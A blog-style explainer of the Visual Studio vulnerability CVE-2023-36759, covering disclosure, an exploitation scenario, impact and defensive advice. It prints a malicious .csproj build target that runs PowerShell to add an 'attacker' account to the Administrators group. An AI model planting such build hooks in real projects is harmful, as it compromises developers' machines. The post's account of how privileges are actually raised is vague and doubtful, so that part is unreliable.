CVE-2023-36759 - Inside the Visual Studio Elevation of Privilege Vulnerability

The world of software development is mostly about creativity and innovation, but sometimes, even our best tools can open the door to serious security risks. One such threat is CVE-2023-36759, a Visual Studio vulnerability that could allow attackers to gain more control over a system than intended. In this long read, we’ll break down what makes CVE-2023-36759 dangerous, explain how it works, show some code snippets, and reference original sources. Let’s get started!

What is CVE-2023-36759?

CVE-2023-36759 is an Elevation of Privilege (EoP) vulnerability discovered in Microsoft Visual Studio. When exploited, it allows an attacker to run code with higher privileges than normally possible—potentially resulting in a full system compromise on a developer’s machine.

Microsoft's Original Disclosure

The official Microsoft advisory for CVE-2023-36759 was published as part of the September 2023 Patch Tuesday update. You can read the original bulletin here:
> Microsoft Security Update Guide - CVE-2023-36759

How Does It Work?

Visual Studio runs with user-level permissions, but certain developer workflows or extensions could trigger processes that lead to privilege escalation. This vulnerability is caused by improper handling of authorizations in Visual Studio's build system or extension loader.

Exploitation Scenario

Imagine an attacker tricks a developer into opening a specially crafted Visual Studio project—maybe from a public GitHub repo, email attachment, or USB stick. When the developer loads this project, malicious code hidden in the build scripts or project files gets executed with higher permissions.

Code Snippet: Malicious Project File

The main trick in exploiting CVE-2023-36759 is hiding commands in Visual Studio project files (e.g., .csproj or .vbproj). Here’s a basic example of a malicious .csproj modification:

<!-- Malicious MSBuild code inside a .csproj file -->
<Target Name="AfterBuild">
  <Exec Command="powershell.exe -NoProfile -ExecutionPolicy Bypass -Command &amp; { Add-LocalGroupMember -Group 'Administrators' -Member 'attacker' }" />
</Target>

- What it does: When the developer builds the project, this code runs a PowerShell command that adds the user “attacker” to the local Administrators group—an instant escalation!

Prepare a Malicious Project

The attacker creates a Visual Studio solution with hidden build commands in the project file (see snippet above).

Exploit Triggers

Visual Studio processes the build, executing the embedded commands under higher privileges if insufficient sandboxing or permission checks are in place.

Real World Impact

- Full System Compromise: If successful, attackers can install malware, steal code, or gain a persistent foothold.
- Supply Chain Threat: If developers unknowingly check back malicious code or binaries, the impact could spread to customers and production servers.
- Developer Trust Risk: Open source and file-sharing among devs is common, making this vulnerability especially dangerous.

Patches

Microsoft quickly released a patch. If you’re using Visual Studio 2019, 2022, or earlier supported versions, run Visual Studio Installer and apply all security updates.

Never open unknown or untrusted project files.

- Always review project/solution file diffs before accepting PRs from strangers.

Run builds in sandboxed or virtualized environments where possible.

- Check your AV/EDR solution is monitoring script and build-process child processes.

Conclusion

CVE-2023-36759 is a sharp reminder that even the best dev tools can pose risks if not kept patched and used wisely. Always check your Visual Studio version, update regularly, and never open project files unless you trust their source. Security is everyone’s job—stay safe and code smart!

*This deep-dive was written exclusively for you with clear, actionable insights. Always practice secure development!*

Timeline

Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC